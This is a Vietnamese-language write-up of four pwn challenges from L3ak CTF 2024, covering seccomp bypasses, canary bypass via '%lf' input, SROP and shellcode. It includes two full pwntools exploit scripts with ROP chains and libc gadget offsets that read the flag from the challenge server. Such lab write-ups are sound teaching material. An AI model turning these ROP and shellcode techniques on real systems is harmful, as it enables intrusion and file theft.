(writeup) L3ak CTF 2024
- giải có Docker đi vào lòng đất 🤡
oorrww


main()

sandbox()
thêm seccomp thôi

fillter execve và execveat

gift()
analyse
- chall sẽ cho mình stack và libc
- khả năng nhập ow cả $rip từ main()
_iso99_scanf("%lf",v5[8*i])
(loop 22 lần)
- format nhập là "%lf" –-> bypass canary bằng input '.'
- idea sẽ là ORW flag
- idea ban đầu là chain gadget call orw nhưng không đủ nên đổi hướng là call read 1 lần nữa để ROP
- NOTE: không thể tin vào path flag trên Docker =)))
author bị ngáo
flag nằm cùng thư mục chall
get flag

from pwn import *
exe = ELF('./oorrww_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
# b*main+144
b*main+191
c
''')
input()
if args.REMOTE:
p = remote('193.148.168.30',7666)
else:
p = process(exe.path)
GDB()
p.recvuntil(b'you: ')
string1 = float(p.recvuntil(b' ',drop=True).decode())
value1 = struct.unpack('!Q', struct.pack('!d',string1))[0]
stack_leak = int(hex(value1),16)
info("stack leak: " + hex(stack_leak))
string2 = float(p.recvuntil(b'!',drop=True).decode())
value2 = struct.unpack('!Q', struct.pack('!d',string2))[0]
libc_leak = int(hex(value2),16)
libc.address = libc_leak - 0x62090
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
pop_rdi = 0x000000000002a3e5 + libc.address
pop_rsi = 0x000000000002be51 + libc.address
pop_rax = 0x0000000000045eb0 + libc.address
pop_rdx_rbx = 0x00000000000904a9 + libc.address
syscall = 0x0000000000029db4 + libc.address
leave_ret = 0x000000000004da83 + libc.address
open_call = libc.sym.open
read_call = libc.sym.read
write_call = libc.sym.write
payload_open = str(struct.unpack('d', p64(open_call))[0]).encode()
payload_read = str(struct.unpack('d', p64(read_call))[0]).encode()
payload_write = str(struct.unpack('d', p64(write_call))[0]).encode()
info("stack need: " + hex(stack_leak+0x20))
payload_flag = str(struct.unpack('d', b'flag.txt')[0]).encode()
payload_flag1 = str(struct.unpack('d', b'./flag.t')[0]).encode()
payload_flag2 = str(struct.unpack('d', b'xt\0\0\0\0\0\0')[0]).encode()
payload_0 = str(struct.unpack('d',p64(0))[0]).encode()
payload_0x200 = str(struct.unpack('d',p64(0x200))[0]).encode()
payload_rw_section = str(struct.unpack('d', p64(stack_leak+0x60))[0]).encode()
payload_ret_stack = str(struct.unpack('d', p64(stack_leak+8))[0]).encode()
payload_stack = str(struct.unpack('d', p64(stack_leak+8))[0]).encode()
payload_ret = str(struct.unpack('d', p64(pop_rdi+1))[0]).encode()
payload_rdi = str(struct.unpack('d', p64(pop_rdi))[0]).encode()
payload_rsi = str(struct.unpack('d', p64(pop_rsi))[0]).encode()
payload_rax = str(struct.unpack('d', p64(pop_rax))[0]).encode()
payload_rdx_rbx = str(struct.unpack('d', p64(pop_rdx_rbx))[0]).encode()
payload_syscall = str(struct.unpack('d', p64(syscall))[0]).encode()
payload_leave_ret = str(struct.unpack('d', p64(leave_ret))[0]).encode()
sla(b'input:',payload_flag1)
sla(b'input:',payload_flag2)
sla(b'input:',payload_rdi)
sla(b'input:',payload_0)
sla(b'input:',payload_rsi)
sla(b'input:',payload_rw_section)
sla(b'input:',payload_rdx_rbx)
sla(b'input:',payload_0x200)
sla(b'input:',payload_0)
sla(b'input:',payload_rax)
sla(b'input:',payload_0)
sla(b'input:',payload_read)
for i in range(8):
sla(b'input:',b'.')
sla(b'input:',payload_ret_stack)
sla(b'input:',payload_leave_ret)
payload = flat(
pop_rdi, stack_leak,
pop_rsi, 0,
pop_rdx_rbx, 0,0,
pop_rax, 2,
open_call,
pop_rdi, 3,
pop_rsi, stack_leak+0x200,
pop_rdx_rbx, 0x100,0,
pop_rax, 0,
read_call,
pop_rdi, 1,
pop_rsi, stack_leak+0x200,
pop_rdx_rbx, 0x100,0,
pop_rax, 1,
write_call
)
sleep(5)
p.send(payload)
p.interactive()
L3AK{th3_d0ubl3d_1nput_r3turns_whAt_u_wAnt}
pors


main()

sandbox()
thêm seccomp thôi

filter write, open, mmap, execve, execveat
analyse
- đầu tiên, chall gọi thẳng hàm syscall() (lưu ý khác với gadget syscall) với tham số lần lượt là
0LL, 0LL, v4, 592LL
tương ứng $rdi, $rsi, $rdx, $rcx (thường là $r10)
nhưng thực tế là $rax, $rdi, $rsi, $rdx
- xét qua seccomp, k cho lấy shell, k cho open hay write –-> đổi hướng sang openat và sendfile (tương tự read&write)
- mà chain ROP call 2 thằng đó hơi khoai nên sẽ call mprotect rồi ret2shellcode
- nhưng gadget hiện hữu để chain chỉ có
pop rdi; ret
nên ROP đống đó bất khả thi
–-> SROP (sigreturn)
- và path tới flag trong Docker cũng bịp tiếp nha =))))
phải open ticket hỏi
đến cả author còn k biết path flag ở đâu mà =))))))
flag nằm chung ở thư mục challenge nha
int openat(int dirfd, const char *pathname, int flags, mode_t mode);

$rdi=0 và $rsi là path tuyệt đối
If pathname is absolute, then dirfd is ignored.

$rdi=-100 và $rsi là file_name (path tương đối)
If pathname is relative and dirfd is the special value AT_FDCWD
ref
get flag

L3AK{sr0p_4nd_m0viing_4nd_G3T_wh4t_u_r34lly_w4nt}
pwnoodle

noodled


main()
tạo socket rồi đợi connect các thứ

friend()
cho stack

solve_noodles()
nhận input dc trả về rồi xử lý (0x21 byte)
memcpy() cái đọc được rồi copy lên stack
có BOF ở đây, khi __int64 dest[2]
là 8*2 = 0x10
trong khi memcpy tận 1 byte m (unsigned __int8) (max 0xff)
nếu ctrl được m –-> ow được $rip
0x18 cho $rbp, 0x20 cho $rip
noodleterm


main()


repl()



noodlen()



noodluv()
analyse
- đôi lời tâm sự, chall này author
"xò chám" lắm khi kêu thí sinh giải local ra r gửi script cho ổng, ổng sẽ gửi flag =))))))))))))))))))
- để DEBUG, ta build Docker rồi
remote('0',4819)
qua terminal khác tìm tiến tiền bằng ps aux
rồi lấy <pid>
sau đó sudo gdb -p <pid>
lưu ý chỉ có thể DEBUG trên máy ảo, WSL vô dụng
- với file
startup.sh
, thứ tự run là ./noodled noodleterm
tức là ./A B (xử lí bên B trả về A, xử lí xong A trả về B)
và để ý checksec thấy noodled k có canary và NX disable lẫn NO PIE
–-> shellcode
- để ý thấy ở hàm noodlen() sau khi cho ta nhập size, biến bss num_0 được tính là
+= size

tối đa size=0x10
nhập input giới hạn i <= 0x1F
và i < num_0

không thoả mãn sẽ break
nhưng vẫn giữ biến toàn cục num_0
–-> BUG

checknoodle()
chỉ return 1 khi payload chỉ chứa mỗi byte '-'

code C
nôm na là tính tổng số lượng byte rồi biến tổng đó về byte ( giống hàm chr() )
- vậy idea ta sẽ tăng num_0 lên (0x10) nhưng không input payload
- lần nhập 2 sẽ là shellcode (input tận 0x20)
lưu ý gửi shellcode dưới dạng b'-'*shellcode[i]
tức là mỗi một byte shellcode sẽ gửi số lần b'-'
- quay lại file noodled, thấy có xử lí chuỗi ở đây

nếu có byte NULL sẽ ngắt chuỗi
- vậy việc ta sẽ viết shellcode không chứa NULL byte, đồng thời chiều dài tối đa 0x18, ở 0x20 sẽ là stack return lại shellcode
- thế ta sẽ viết shellcode gì?
- không thể viết read, execve hay execveat vì bài dạng service (socket)
- ta đọc trong file Dockerfile
flag set quyền r__ cho root
r__ ___ ___
thì user không thể cat hay symlink các thứ
- ta sẽ viêt shellcode call chmod cho flag
- rồi dùng option noodluv để symlink và in ra

- symlink với flag nằm ở thư mục / (root) nên sẽ để path là lùi '../'
- NOTE: do máy tui đã set /flag ở cả quyền user nên k cần shellcode vẫn in ra được
nên nếu quăng cho author sẽ bị cười dô mặt =)))
phải đúng ý author mới chịu cơ =)))
get flag

oorrww_revenge


main()

sandbox()

gift()
analyse
- ở chall này giống nhau về work flow nhưng chỉ khác là ở hàm gift() không còn cho ta địa chỉ libc hay stack nữa
- bù lại PIE sẽ tắt và nhập tận 30 lần
- mục tiêu ta vẫn phải leak libc và stack để call ORW
get flag

from pwn import *
context.binary = exe = ELF("./oorrww_revenge_patched",checksec=False)
libc = ELF("./libc.so.6",checksec=False)
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('193.148.168.30', 7667)
else:
p = process(exe.path)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript = '''
b*main+139
b*main+185
c
''')
input()
for i in range(19):
payload = str(struct.unpack('d', p64(exe.sym.main + 5))[0]).encode()
sla('input:\n', payload)
pop_rax = 0x0000000000401203
setup = 0x00000000004012da
rw_section = 0x404a00
payload_pop_rax = str(struct.unpack('d', p64(pop_rax))[0]).encode()
payload_got_puts = str(struct.unpack('d', p64(exe.got.puts))[0]).encode()
payload_setup = str(struct.unpack('d', p64(setup))[0]).encode()
sla('input:\n', b'.')
sla('input:\n', str(struct.unpack('d', p64(rw_section))[0]).encode())
sla('input:\n', payload_pop_rax)
sla('input:\n', payload_got_puts)
sla('input:\n', payload_setup)
for i in range(6):
payload = str(struct.unpack('d', p64(exe.sym.main + 5))[0]).encode()
sla('input:\n', payload)
libc_leak = u64(p.recvuntil(b'\n',drop=True) + b'\0\0')
libc.address = libc_leak - libc.sym.puts
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
pop_rdi = libc.address + 0x000000000002a3e5
pop_rsi = libc.address + 0x000000000002be51
pop_rdx_r12 = libc.address + 0x000000000011f2e7
for i in range(19):
payload = str(struct.unpack('d', p64(exe.sym.main + 5))[0]).encode()
sla('input:\n', payload)
payload_environ = str(struct.unpack('d', p64(libc.sym.environ))[0]).encode()
sla('input:\n', b'.')
sla('input:\n', str(struct.unpack('d', p64(rw_section))[0]).encode())
sla('input:\n', payload_pop_rax)
sla('input:\n', payload_environ)
sla('input:\n', payload_setup)
for i in range(6):
payload = str(struct.unpack('d', p64(exe.sym.main + 5))[0]).encode()
sla('input:\n', payload)
stack = u64(p.recvuntil(b'\n',drop=True) + b'\0\0')
info("stack leak: " + hex(stack))
payload_pop_rdi = str(struct.unpack('d', p64(pop_rdi))[0]).encode()
payload_path_flag = str(struct.unpack('d', p64(stack - 0x118 + 0x30))[0]).encode()
payload_pop_rsi = str(struct.unpack('d', p64(pop_rsi))[0]).encode()
payload_0 = str(struct.unpack('d', p64(0))[0]).encode()
payload_open = str(struct.unpack('d', p64(libc.sym.open))[0]).encode()
payload_3 = str(struct.unpack('d', p64(3))[0]).encode()
payload_stack_0x100 = str(struct.unpack('d', p64(stack - 0x118 + 0x100))[0]).encode()
payload_rdx_r12 = str(struct.unpack('d', p64(pop_rdx_r12))[0]).encode()
payload_0x100 = str(struct.unpack('d', p64(0x100))[0]).encode()
payload_read = str(struct.unpack('d', p64(libc.sym.read))[0]).encode()
payload_1 = str(struct.unpack('d', p64(1))[0]).encode()
payload_write = str(struct.unpack('d', p64(libc.sym.write))[0]).encode()
flag1 = str(struct.unpack('d', b'./flag.t')[0]).encode()
flag2 = str(struct.unpack('d', b'xt\0\0\0\0\0\0')[0]).encode()
sla('input:\n', payload_pop_rdi)
sla('input:\n', payload_path_flag)
sla('input:\n', payload_pop_rsi)
sla('input:\n', payload_0)
sla('input:\n', payload_open)
sla('input:\n', payload_pop_rdi)
sla('input:\n', payload_3)
sla('input:\n', payload_pop_rsi)
sla('input:\n', payload_stack_0x100)
sla('input:\n', payload_rdx_r12)
sla('input:\n', payload_0x100)
sla('input:\n', payload_0)
sla('input:\n', payload_read)
sla('input:\n', payload_pop_rdi)
sla('input:\n', payload_1)
sla('input:\n', payload_write)
GDB()
sla('input:\n', flag1)
sla('input:\n', flag2)
sla('input:\n', payload_0)
sla('input:\n', b'.')
leave_ret = 0x00000000004012c9
payload = str(struct.unpack('d', p64(stack - 0x118 - 8 - 0x50))[0]).encode()
sla('input:\n', payload)
payload = str(struct.unpack('d', p64(leave_ret))[0]).encode()
sla('input:\n', payload)
for i in range(8):
payload = str(struct.unpack('d', p64(pop_rdi+1))[0]).encode()
sla('input:\n', payload)
p.interactive()
L3AK{n0w_u_hav3_th3_k3y_t0_th3_inv1s1ble_ffllaagg}